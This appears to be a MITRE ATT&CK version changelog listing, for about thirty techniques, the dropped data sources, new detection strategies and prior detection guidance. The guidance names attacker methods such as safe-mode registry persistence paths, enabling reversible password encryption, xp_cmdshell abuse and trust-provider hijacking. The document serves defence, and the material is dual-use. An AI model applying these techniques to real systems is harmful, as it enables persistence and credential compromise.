dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:00:02.178000+00:00	2025-10-24 17:48:50.118000+00:00
x_mitre_detection	Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Monitor for processes and command-line arguments associated with hijacking service sessions.

[T1021] Remote Services

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0005: WMI (WMI Creation)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)
DS0033: Network Share (Network Share Access)

New Detections (Detection Strategies -> Technique):

DET0269: Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'WMI: WMI Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:32.234000+00:00	2025-10-24 17:48:48.472000+00:00
x_mitre_detection	Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. In macOS, you can review logs for "screensharingd" and "Authentication" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

[T1018] Remote System Discovery

Current version: 3.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0574: Detection Strategy for Remote System Enumeration Behavior

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:15.859000+00:00	2025-10-24 17:49:31.319000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor for processes that can be used to discover remote systems, such as `ping.exe` and `tracert.exe`, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)

[T1036.003] Masquerading: Rename Legitimate Utilities

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0005: Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:02.921000+00:00	2025-10-24 17:49:18.517000+00:00
x_mitre_detection	If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)

[T1091] Replication Through Removable Media

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Creation)
DS0022: File (File Access)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0301: Removable Media Execution Chain Detection via File and Process Activity

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Process: Process Creation', 'Drive: Drive Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:24.231000+00:00	2025-10-24 17:48:40.752000+00:00
x_mitre_detection	Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.

[T1564.009] Hide Artifacts: Resource Forking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0584: Detection Strategy for Resource Forking on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:19.185000+00:00	2025-10-24 17:49:14.736000+00:00
x_mitre_detection	Identify files with the `com.apple.ResourceFork` extended attribute and large data amounts stored in resource forks. Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections.

[T1496] Resource Hijacking

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0013: Sensor Health (Host Status)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0025: Cloud Service (Cloud Service Modification)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0267: Resource Hijacking Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Service: Cloud Service Modification', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Sensor Health: Host Status', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:00:21.372000+00:00	2025-10-24 17:49:24.276000+00:00
x_mitre_detection	Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.

[T1556.005] Modify Authentication Process: Reversible Encryption

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Metadata)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0589: Detect Modification of Authentication Process via Reversible Encryption

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'User Account: User Account Metadata', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:00:34.242000+00:00	2025-10-24 17:49:27.587000+00:00
x_mitre_detection	Monitor property changes in Group Policy: `Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\Store passwords using reversible encryption`. By default, the property should be set to Disabled. Monitor command-line usage for `-AllowReversiblePasswordEncryption $true` or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as `Set-ADUser` and `Set-ADAccountControl`, that change account configurations. Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)

[T1578.004] Modify Cloud Compute Infrastructure: Revert Cloud Instance

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0030: Instance (Instance Metadata)
DS0030: Instance (Instance Modification)
DS0030: Instance (Instance Start)
DS0030: Instance (Instance Stop)

New Detections (Detection Strategies -> Technique):

DET0337: Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Start', 'Instance: Instance Metadata', 'Instance: Instance Stop', 'Instance: Instance Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:45:42.495000+00:00	2025-10-24 17:48:21.210000+00:00
x_mitre_detection	Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

[T1036.002] Masquerading: Right-to-Left Override

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0527: Right-to-Left Override Masquerading Detection via Filename and Execution Context

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:00:50.575000+00:00	2025-10-24 17:48:58.683000+00:00
x_mitre_detection	Detection methods should include looking for common formats of RTLO characters within filenames such as `\u202E`, `[U+202E]`, and `%E2%80%AE`. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.

[T1207] Rogue Domain Controller

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0026: Active Directory (Active Directory Object Creation)
DS0026: Active Directory (Active Directory Object Modification)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0276: Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Object Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:34.258000+00:00	2025-10-24 17:48:48.823000+00:00
x_mitre_detection	Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.

[T1565.003] Data Manipulation: Runtime Data Manipulation

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0022: File (File Creation)
DS0022: File (File Deletion)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0391: Detection Strategy for Runtime Data Manipulation.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'File: File Deletion', 'Process: OS API Execution', 'File: File Metadata', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:01:11.644000+00:00	2025-10-24 17:48:37.277000+00:00
x_mitre_detection	Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.

[T1606.002] Forge Web Credentials: SAML Tokens

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0006: Web Credential (Web Credential Creation)
DS0006: Web Credential (Web Credential Usage)
DS0009: Process (Process Creation)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0148: Detection Strategy for Forged SAML Tokens

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Web Credential: Web Credential Usage', 'Web Credential: Web Credential Creation', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:01:25.698000+00:00	2025-10-24 17:48:30.302000+00:00
x_mitre_detection	This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)

[T1134.005] Access Token Manipulation: SID-History Injection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Metadata)
DS0009: Process (OS API Execution)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0136: Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Modification', 'Process: OS API Execution', 'User Account: User Account Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:45.982000+00:00	2025-10-24 17:49:16.316000+00:00
x_mitre_detection	Examine data in user’s SID-History attributes using the PowerShell `Get-ADUser` cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) Monitor for Windows API calls to the `DsAddSidHistory` function. (Citation: Microsoft DsAddSidHistory)

[T1553.003] Subvert Trust Controls: SIP and Trust Provider Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0011: Module (Module Load)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0442: Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:31.965000+00:00	2025-10-24 17:48:48.200000+00:00
x_mitre_detection	Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust Note: As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)

[T1021.002] Remote Services: SMB/Windows Admin Shares

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)
DS0033: Network Share (Network Share Access)

New Detections (Detection Strategies -> Technique):

DET0530: Multi-Event Detection for SMB Admin Share Lateral Movement

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Share: Network Share Access', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:29.701000+00:00	2025-10-24 17:48:45.700000+00:00
x_mitre_detection	Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)

[T1602.001] Data from Configuration Repository: SNMP (MIB Dump)

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0453: Detection Strategy for SNMP (MIB Dump) on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:29.549000+00:00	2025-10-24 17:49:34.969000+00:00
x_mitre_detection	Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)

[T1505.001] Server Software Component: SQL Stored Procedures

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0181: Detection Strategy for SQL Stored Procedures Abuse via T1505.001

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:02:13.653000+00:00	2025-10-24 17:49:38.624000+00:00
x_mitre_detection	On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.

[T1021.004] Remote Services: SSH

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0596: Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:17.607000+00:00	2025-10-24 17:48:34.985000+00:00
x_mitre_detection	Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. On macOS systems `log show --predicate 'process = "sshd"'` can be used to review incoming SSH connection attempts for suspicious activity. The command `log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"'` can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) On Linux systems SSH activity can be found in the logs located in `/var/log/auth.log` or `/var/log/secure` depending on the distro you are using.

[T1098.004] Account Manipulation: SSH Authorized Keys

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0126: Detection Strategy for SSH Key Injection in Authorized Keys

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:39.342000+00:00	2025-10-24 17:48:55.005000+00:00
x_mitre_detection	Use file integrity monitoring to detect changes made to the `authorized_keys` file for each user on a system. Monitor for suspicious processes modifying the `authorized_keys` file. In cloud environments, monitor instances for modification of metadata and configurations. Monitor for changes to and suspicious processes modifiying `/etc/ssh/sshd_config`. For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.

[T1563.001] Remote Service Session Hijacking: SSH Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0256: Detection Strategy for SSH Session Hijacking

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:40:37.838000+00:00	2025-10-24 17:48:45.240000+00:00
x_mitre_detection	Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.

[T1562.009] Impair Defenses: Safe Mode Boot

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0116: Detection Strategy for Safe Mode Boot Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:08.076000+00:00	2025-10-24 17:48:33.044000+00:00
x_mitre_detection	Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a `\` in front of the "Startup" value name: `HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\Startup"="{Path}"]` or by adding a key to `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal`.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019) Monitor execution of processes and commands associated with making configuration changes to boot settings, such as `bcdedit.exe` and `bootcfg.exe`.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)

[T1596.005] Search Open Technical Databases: Scan Databases

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0858: Detection of Scan Databases

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:02:32.145000+00:00	2025-10-24 17:49:34.076000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1595.001] Active Scanning: Scanning IP Blocks

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0817: Detection of Scanning IP Blocks

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:02:44.660000+00:00	2025-10-24 17:49:28.603000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1053] Scheduled Task/Job

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0032: Container (Container Creation)

New Detections (Detection Strategies -> Technique):

DET0094: Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Scheduled Job: Scheduled Job Creation', 'File: File Creation', 'Process: Process Creation', 'Container: Container Creation', 'Command: Command Execution', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:41:11.473000+00:00	2025-10-24 17:48:38.539000+00:00
x_mitre_detection	Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1029] Scheduled Transfer

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0399: Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:03:03.336000+00:00	2025-10-24 17:48:45.522000+00:00
x_mitre_detection	Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.

[T1113] Screen Capture

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0346: Detect Screen Capture via Commands and API Calls

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:03:14.254000+00:00	2025-10-24 17:48:19.886000+00:00
x_mitre_detection	Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.

[T1546.002] Event Triggered Execution: Screensaver

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0154: Detect Screensaver-Based Persistence via Registry and Execution Chains

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:21.356000+00:00	2025-10-24 17:49:24.634000+00:00
x_mitre_detection	Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.

[T1597] Search Closed Sources

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0822: Detection of Search Closed Sources

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:03:31.068000+00:00	2025-10-24 17:49:11.164000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
